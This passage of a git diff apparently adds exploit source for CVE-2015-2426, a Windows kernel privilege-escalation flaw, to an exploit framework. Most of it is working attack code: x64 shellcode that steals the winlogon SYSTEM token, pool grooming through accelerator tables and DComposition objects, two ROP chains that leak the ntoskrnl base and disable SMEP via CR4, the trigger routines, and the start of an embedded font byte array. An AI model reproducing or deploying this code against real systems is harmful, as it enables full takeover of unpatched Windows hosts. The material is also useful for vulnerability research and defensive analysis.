0x44000000; +static const int DcomArrayBase = 0x41000000; +const int PayloadBase = 0x42000000; + +typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) ( + _In_ HANDLE hWnd, + _In_ DWORD dwNum, + _Out_ ULONGLONG pMem + ); + +typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) ( + _In_ HANDLE hWnd, + _In_ DWORD dwNum + ); + +typedef LRESULT(WINAPI *FuncDefWindowProcA) ( + _In_ HWND hWnd, + _In_ UINT Msg, + _In_ WPARAM wParam, + _In_ LPARAM lParam + ); + +static CHAR sc[] = { + '\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack + '\x41', '\x51', // push r9 save regs + '\x41', '\x52', // push r10 + '\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB) + '\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD + '\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess + '\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink + '\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS + '\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon) + '\x75', '\xe5', // jnz $a no? then keep searching! + '\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid + '\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x42001000 + '\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later + '\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token + '\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address + '\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x10 + '\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token + '\x41', '\x5A', // pop r10 restore regs + '\x41', '\x59', // pop r9 + '\x41', '\x53', // push r11, pointer near to original stack + '\x5C', // pop rsp + '\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp + '\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void) + 0 +}; +static HWND *pHwnds = NULL; +static HACCEL *pAccels = NULL; +static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL; +static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL; + + +// WndProc is a callback function that is needed when creating a window. +// It does nothing of consequence. However, the exploit relies on overriding +// a suitable object (`CreateDCompositionHwndTarget`), which requires a +// window. Hence we need to create windows. +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + FuncDefWindowProcA MyDefWindowProcA; + ULONGLONG pMyDefWindowProcA; + + pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950); + MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA; + return MyDefWindowProcA(hwnd, msg, wParam, lParam); +} + +VOID ExploiterInit() { + LoadLibrary("USER32.dll"); + HMODULE user32 = GetModuleHandle("USER32.dll"); + MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget"); + MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget"); + // Allocate memory regions that we use to store various data. + VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + SecureZeroMemory((LPVOID)PayloadBase, 0x10000); + memcpy((LPVOID)PayloadBase, sc, sizeof(sc)); + + // Save the function pointer of DefWindowProcA globally while we are still in user-mode. + // The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash` + // any more. Hence, we store this first, so that WndProc can access it directly later. + ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950); + *pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash +} + +VOID ExploiterDoFengShui() { + HINSTANCE hThisInstance; + ATOM classAtom; + WNDCLASSEXA windowClass; + HWND hWnd; + HACCEL hAccel; + LPACCEL lpAccel; + // Strings needed. + CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 }; + CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 }; + CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 }; + CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 }; + + // Initial setup for pool fengshui. + lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); + SecureZeroMemory(lpAccel, sizeof(ACCEL)); + + // Create many accelerator tables, and store them. + pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + for (INT i = 0; i < 5000; i++) { + hAccel = CreateAcceleratorTableA(lpAccel, 1); + pAccels[i] = hAccel; + } + + // Create window handles, and store them. + pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + hThisInstance = GetModuleHandleA(NULL); + for (INT i = 0; i < 1000; i++) { + SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA)); + wsprintfA(winClass, winClassFmt, i); + wsprintfA(winTitle, winTitleFmt, i); + //int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0); + //LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2); + //memset(winTitleW, 0, winTitleWSize * 2); + //MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize); + + windowClass.cbSize = sizeof(WNDCLASSEXA); + windowClass.style = CS_HREDRAW | CS_VREDRAW; + windowClass.lpfnWndProc = (WNDPROC)WndProc; + windowClass.hInstance = hThisInstance; + windowClass.hIcon = NULL; + windowClass.hCursor = NULL; + windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW; + windowClass.lpszMenuName = NULL; + windowClass.lpszClassName = winClass; + classAtom = RegisterClassExA(&windowClass); + hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL); + + if (hWnd) { + pHwnds[i] = hWnd; + } + else { + break; + } + } + + // Create holes in the series of accelerator tables. + for (INT i = 3600; i < 4600; i += 2) { + DestroyAcceleratorTable(pAccels[i]); + } + + // Fill the holes with with DCompositionHwndTarget(s). + // (at this point we have a series of alternating DCompositionHwndTarget objects) + for (INT i = 0; i < 500; i++) { + MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4); + } + + // Create "adjacent" holes (to the previous holes) in the series of + // accelerator tables. + for (INT i = 3601; i < 4601; i += 2) { + DestroyAcceleratorTable(pAccels[i]); + } + + // Fill the holes with with DCompositionHwndTarget(s). + // (at this point we have a contiguous series of DCompositionHwndTarget objects) + for (INT i = 500; i < 1000; i++) { + MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4); + } + + // Create some holes in the contiguous series of DCompositionHwndTarget objects, + // that we insert the vulnerable object into. + for (INT i = 400; i < 405; i++) { + MyDestroyDCompositionHwndTarget(pHwnds[i], 0); + } +} + +// Clean up for the heap fengshui performed earlier (for cleanliness, reliability). +VOID ExpoiterCleanUp() { + for (INT i = 0; i < 5000; i++) { + DestroyAcceleratorTable(pAccels[i]); + } +} + +// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address +// of `ntoskrnl`. +VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) { + // Stack pivot and adjustment. + // + // IMPORTANT NOTE. + // + // This vTable is actually accessed twice as part of the code flow. + // The first access is to the 2nd method in the vTable, at [RAX+8] (*). + // The second access is to the 1st method in the vTable, at [RAX] (**). + // + // (*) First access + // + // As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the + // address of the fake vTable (0x42005000). + // + // The call places us at [0x42005000+8], which is the xchg instruction + // (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000. + // The next instruction of the gadget is RET, which will exec. POP RAX. + // This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the + // start of ROP chain 1. + // + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + 0x19fab; // pop rax # ret <-- RAX + *(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + 0x6121; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to. + // + // --- End stack pivot and adjustment --- + + // ROP chain 1: Retrieve base address of `ntoskrnl`. + // + // When ROP chain 1 exits, RBX will hold the address of the our + // (fake) vTable. And 0x42000100 will hold the (leaked) address of + // `ntoskrnl!ExAllocatePoolWithTag`. + // + *(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + 0x19fab; // pop rax # ret (RAX is source for our write) + *(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + 0x352220; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports) + *(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + 0x98156; // pop rcx # ret (RCX is destination for our write) + *(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address) + *(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + 0xc432f; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX]) + + // (**) Second access + // + // The second time the vTable is accessed (described above), it will + // try to execute `POP RAX # RET`, which is undesirable. Hence, as part of + // the *first* ROP chain, we override the vTable again, so that the second + // access to it will be okay. + // + // When the code flow resumes after ROP chain 1 ends, the code will + // use *RBX for its second access to the vTable. Hence, we want to + // place our own value into RBX. Therefore, we `POP RBX`, which places + // 0x42005100 into RBX. 0x42005100 is yet another (unused) memory + // region that we control. We will construct a new fake vTable at 0x42005100. + // + *(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + 0x14db; // pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) --------------------- + // | + // Setup the new fake vTable at 0x42005100. We don't do anything interesting | + // with the second call. We just want it to return nicely. | + *(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain | + *(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) | + *(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + 0x6e314; // (`RET` gadget) | + // | + // Resume execution. Restore original stack pointer. | + *(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + 0x7018e; // mov rax, r11 # ret (register holding a value close to original stack pointer) <- + *(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + 0x98156; // pop rcx # ret + *(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx + *(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + 0xee38f; // add rax, rcx # ret (adjust the stack pointer) + *(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + 0x1f8c1; // push rax # sub eax, 8b480020h # pop rsp # and al, 8 # mov rdi, qword ptr [rsp+10] # mov eax, edx # ret +} + +// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode. +// Now we reset the values in our fake vTable (0x42005000), with a new +// ROP chain. This gets called later in the second trigger. +VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) { + *(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + 0x189a3a; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret + *(ULONGLONG *)(PayloadBase + 0x5008) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5010) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5018) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5020) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + 0x19fab; // pop rax # ret + *(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value + *(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + 0x38a3cc; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget) + *(ULONGLONG *)(PayloadBase + 0x5040) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5048) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5050) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5058) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5060) = 0x41414141; // filler + *(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win! + *(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + 0x165010; // CHwndTargetProp::Delete(void) +} + +// First trigger (ROP chain 1) +// +// When `DestroyDCompositionHwndTarget` is called, it will destroy the object +// by calling its destructor, which will make use of the overwritten vTable +// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address +// of `ntoskrnl!ExAllocatePoolWithTag`. +VOID ExploiterRunFirstChain() { + for (INT i = 0; i < 1000; i++) { + MyDestroyDCompositionHwndTarget(pHwnds[i], 0); + } +} + +// Second trigger (ROP chain 2) +// +// When `DestroyWindow` is called, it will attempt to find any dangling +// references to the window. Because the "first trigger" did not properly +// destroy the `DCompositionHwndTarget` object (which has a reference to +// the window), `DestroyWindow` will try, again, to call the destructor +// for the `DCompositionHwndTarget` object. Hence, the same destructor is +// called. But because we have already re-setup the vTable, it calls +// ROP chain 2. +VOID ExploiterRunSecondChain() { + for (INT i = 0; i < 1000; i++) { + DestroyWindow(pHwnds[i]); + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h new file mode 100755 index 0000000000..a769328bca --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h @@ -0,0 +1,13 @@ +#ifndef EXPLOITER_H +#define EXPLOITER_H + +extern const int PayloadBase; + +VOID ExploiterInit(); +VOID ExploiterDoFengShui(); +VOID ExploiterSetupFirstChain(ULONGLONG); +VOID ExploiterSetupSecondChain(ULONGLONG, ULONGLONG); +VOID ExploiterRunFirstChain(); +VOID ExploiterRunSecondChain(); +VOID ExpoiterCleanUp(); +#endif \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp b/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp new file mode 100755 index 0000000000..f97e6c53f5 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp @@ -0,0 +1,98155 @@ +#include <Windows.h> +#include "FontData.h" + +const UCHAR fontData[785196] = { + 0x4F, 0x54, 0x54, 0x4F, 0x00, 0x0E, 0x00, 0x80, + 0x00, 0x03, 0x00, 0x60, 0x42, 0x41, 0x53, 0x45, + 0x64, 0xBE, 0x5C, 0xE6, 0x00, 0x0A, 0xBA, 0xF8, + 0x00, 0x00, 0x00, 0x88, 0x43, 0x46, 0x46, 0x20, + 0x32, 0x45, 0xEB, 0x1E, 0x00, 0x00, 0x0D, 0xB4, + 0x00, 0x0A, 0x00, 0x90, 0x46, 0x46, 0x54, 0x4D, + 0x5D, 0xFD, 0x92, 0xD6, 0x00, 0x0A, 0xBA, 0xDC, + 0x00, 0x00, 0x00, 0x1C, 0x47, 0x44, 0x45, 0x46, + 0x1B, 0x3E, 0x7A, 0xD4, 0x00, 0x0A, 0x0E, 0x44, + 0x00, 0x00, 0x00, 0xA4, 0x47, 0x50, 0x4F, 0x53, + 0x3E, 0xBC, 0x52, 0x21, 0x00, 0x0A, 0x2E, 0x28, + 0x00, 0x00, 0x8C, 0xB4, 0x47, 0x53, 0x55, 0x42, + 0xEA, 0x7E, 0xFC, 0x48, 0x00, 0x0A, 0x0E, 0xE8, + 0x00, 0x00, 0x1F, 0x3E, 0x4F, 0x53, 0x2F, 0x32, + 0x5F, 0xB8, 0xD2, 0x3F, 0x00, 0x00, 0x01, 0x50, + 0x00, 0x00, 0x00, 0x60, 0x63, 0x6D, 0x61, 0x70, + 0xE2, 0x2A, 0x7C, 0x2C, 0x00, 0x00, 0x0A, 0x84, + 0x00, 0x00, 0x03, 0x0E, 0x68, 0x65, 0x61, 0x64, + 0xFF, 0xB7, 0xAF, 0x0B, 0x00, 0x00, 0x00, 0xEC, + 0x00, 0x00, 0x00, 0x36, 0x68, 0x68, 0x65, 0x61, + 0x03, 0xB5, 0xFF, 0xAB, 0x00, 0x00, 0x01, 0x24, + 0x00, 0x00, 0x00, 0x24, 0x68, 0x6D, 0x74, 0x78, + 0x00, 0xAC, 0x00, 0x00, 0x00, 0x0A, 0xBB, 0x80, + 0x00, 0x01, 0x3F, 0xAC, 0x6D, 0x61, 0x78, 0x70, + 0x9F, 0xD4, 0x50, 0x00, 0x00, 0x00, 0x01, 0x48, + 0x00, 0x00, 0x00, 0x06, 0x6E, 0x61, 0x6D, 0x65, + 0x7F, 0xCA, 0x88, 0xA0, 0x00, 0x00, 0x01, 0xB0, + 0x00, 0x00, 0x08, 0xD3, 0x70, 0x6F, 0x73, 0x74, + 0xFF, 0xAC, 0x00, 0x33, 0x00, 0x00, 0x0D, 0x94, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x02, 0x07, 0xAE, 0x4A, 0x95, 0xC6, 0xBD, + 0x5F, 0x0F, 0x3C, 0xF5, 0x02, 0x8B, 0x03, 0xE8, + 0x00, 0x00, 0x00, 0x00, 0xCE, 0xFB, 0xB3, 0x3C, + 0x00, 0x00, 0x00, 0x00, 0xCE, 0xFB, 0xB3, 0x3C, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x23, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x02, 0xD7, 0xFE, 0xEF, 0x00, 0xC8, 0x00, 0x56, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, + 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x00, 0x50, 0x00, 0x9F, 0xD4, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x56, 0x02, 0xBC, 0x00, 0x03, + 0x00, 0x08, 0x02, 0x8A, 0x02, 0x58, 0xFF, 0xF0, + 0x00, 0x4B, 0x02, 0x8A, 0x02, 0x58, 0x00, 0x4A, + 0x01, 0x5E, 0x00, 0x32, 0x01, 0x06, 0x00, 0x00, + 0x02, 0x04, 0x07, 0x06, 0x06, 0x02, 0x01, 0x09, + 0x02, 0x03, 0x60, 0x00, 0x02, 0x87, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x41, 0x44, 0x42, 0x45, 0x00, 0x21, + 0x00, 0x02, 0xFF, 0xFB, 0x02, 0xD7, 0xFE, 0xEF, + 0x00, 0xC8, 0x03, 0xE5, 0x01, 0x59, 0x20, 0x00, + 0x01, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x03, + 0x00, 0x00, 0x00, 0x1E, 0x01, 0x6E, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, + 0x01, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x14, 0x02, 0x0A, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0B, + 0x02, 0x37, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x21, 0x02, 0x87, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x16, + 0x02, 0xD7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x3A, 0x03, 0x64, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x16, + 0x03, 0xCD, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x07, 0x00, 0x81, 0x04, 0xE8, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x0F, + 0x05, 0x8A, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0B, 0x00, 0x1A, 0x05, 0xD0, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x24, + 0x06, 0x35, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x0A, 0x06, 0x70, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x18, + 0x06, 0xAD, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x12, 0x00, 0x1E, 0x07, 0x04, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x15, + 0x07, 0x4F, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x00, 0x01, 0x3E, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x01, 0x00, 0x28, + 0x01, 0xE0, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x02, 0x00, 0x16, 0x02, 0x1F, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x03, 0x00, 0x42, + 0x02, 0x43, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x04, 0x00, 0x2C, 0x02, 0xA9, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x05, 0x00, 0x74, + 0x02, 0xEE, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x06, 0x00, 0x2C, 0x03, 0x9F, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x07, 0x01, 0x02, + 0x03, 0xE4, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x09, 0x00, 0x1E, 0x05, 0x6A, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x0B, 0x00, 0x34, + 0x05, 0x9A, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x0E, 0x00, 0x48, 0x05, 0xEB, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x10, 0x00, 0x14, + 0x06, 0x5A, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x00, 0x11, 0x00, 0x30, 0x06, 0x7B, 0x00, 0x03, + 0x00, 0x01, 0x04, 0x09, 0x00, 0x12, 0x00, 0x3C, + 0x06, 0xC6, 0x00, 0x03, 0x00, 0x01, 0x04, 0x09, + 0x01, 0x00, 0x00, 0x2A, 0x07, 0x23, 0x00, 0xA9, + 0x00, 0x20, 0x00, 0x31, 0x00, 0x39, 0x00, 0x39, + 0x00, 0x30, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x31, + 0x00, 0x39, 0x00, 0x39, 0x00, 0x31, 0x00, 0x2C, + 0x00, 0x20, 0x00, 0x31, 0x00, 0x39, 0x00, 0x39, + 0x00, 0x32, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x31, + 0x00, 0x39, 0x00, 0x39, 0x00, 0x34, 0x00, 0x2C, + 0x00, 0x20, 0x00, 0x31, 0x00, 0x39, 0x00, 0x39, + 0x00, 0x37, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x31, + 0x00, 0x39, 0x00, 0x39, 0x00, 0x38, 0x00, 0x2C, + 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, + 0x00, 0x30, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x32, + 0x00, 0x30, 0x00, 0x30, 0x00, 0x32, 0x00, 0x2C, + 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, + 0x00, 0x34, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, + 0x00, 0x6F, 0x00, 0x62, 0x00, 0x65, 0x00, 0x20, + 0x00, 0x53, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, + 0x00, 0x65, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x20, + 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x6F, + 0x00, 0x72, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, + 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, + 0x00, 0x2E, 0x00, 0x20, 0x00, 0x41, 0x00, 0x6C, + 0x00, 0x6C, 0x00, 0x20, 0x00, 0x72, 0x00, 0x69, + 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x73, + 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, + 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, + 0x00, 0x64, 0x00, 0x2E, 0x00, 0x20, 0x00, 0x50, + 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, + 0x00, 0x63, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, + 0x00, 0x20, 0x00, 0x62, 0x00, 0x79, 0x00, 0x20, + 0x00, 0x55, 0x00, 0x2E, 0x00, 0x53, 0x00, 0x2E, + 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00, 0x74, + 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, + 0x00, 0x20, 0x00, 0x44, 0x00, 0x33, 0x00, 0x33, + 0x00, 0x37, 0x00, 0x2C, 0x00, 0x36, 0x00, 0x30, + 0x00, 0x34, 0x00, 0x3B, 0x00, 0x20, 0x00, 0x44, + 0x00, 0x33, 0x00, 0x33, 0x00, 0x38, 0x00, 0x2C, + 0x00, 0x39, 0x00, 0x30, 0x00, 0x37, 0x00, 0x3B, + 0x00, 0x20, 0x00, 0x44, 0x00, 0x35, 0x00, 0x30, + 0x00, 0x38, 0x00, 0x2C, 0x00, 0x39, 0x00, 0x34, + 0x00, 0x33, 0x00, 0x2E, 0x00, 0x00, 0xA9, 0x20, + 0x31, 0x39, 0x39, 0x30, 0x2C, 0x20, 0x31, 0x39, + 0x39, 0x31, 0x2C, 0x20, 0x31, 0x39, 0x39, 0x32, + 0x2C, 0x20, 0x31, 0x39, 0x39, 0x34, 0x2C, 0x20, + 0x31, 0x39, 0x39, 0x37, 0x2C, 0x20, 0x31, 0x39, + 0x39, 0x38, 0x2C, 0x20, 0x32, 0x30, 0x30, 0x30, + 0x2C, 0x20, 0x32, 0x30, 0x30, 0x32, 0x2C, 0x20, + 0x32, 0x30, 0x30, 0x34, 0x20, 0x41, 0x64, 0x6F, + 0x62, 0x65, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, + 0x6D, 0x73, 0x20, 0x49, 0x6E, 0x63, 0x6F, 0x72, + 0x70, 0x6F, 0x72, 0x61, 0x74, 0x65, 0x64, 0x2E, + 0x20, 0x41, 0x6C, 0x6C, 0x20, 0x72, 0x69, 0x67, + 0x68, 0x74, 0x73, 0x20, 0x72, 0x65, 0x73, 0x65, + 0x72, 0x76, 0x65, 0x64, 0x2E, 0x20, 0x50, 0x72, + 0x6F, 0x74, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, + 0x62, 0x79, 0x20, 0x55, 0x2E, 0x53, 0x2E, 0x20, + 0x50, 0x61, 0x74, 0x65, 0x6E, 0x74, 0x73, 0x20, + 0x44, 0x33, 0x33, 0x37, 0x2C, 0x36, 0x30, 0x34, + 0x3B, 0x20, 0x44, 0x33, 0x33, 0x38, 0x2C, 0x39, + 0x30, 0x37, 0x3B, 0x20, 0x44, 0x35, 0x30, 0x38, + 0x2C, 0x39, 0x34, 0x33, 0x2E, 0x00, 0x00, 0x4D, + 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6F, + 0x00, 0x6E, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, + 0x00, 0x6F, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, + 0x00, 0x6E, 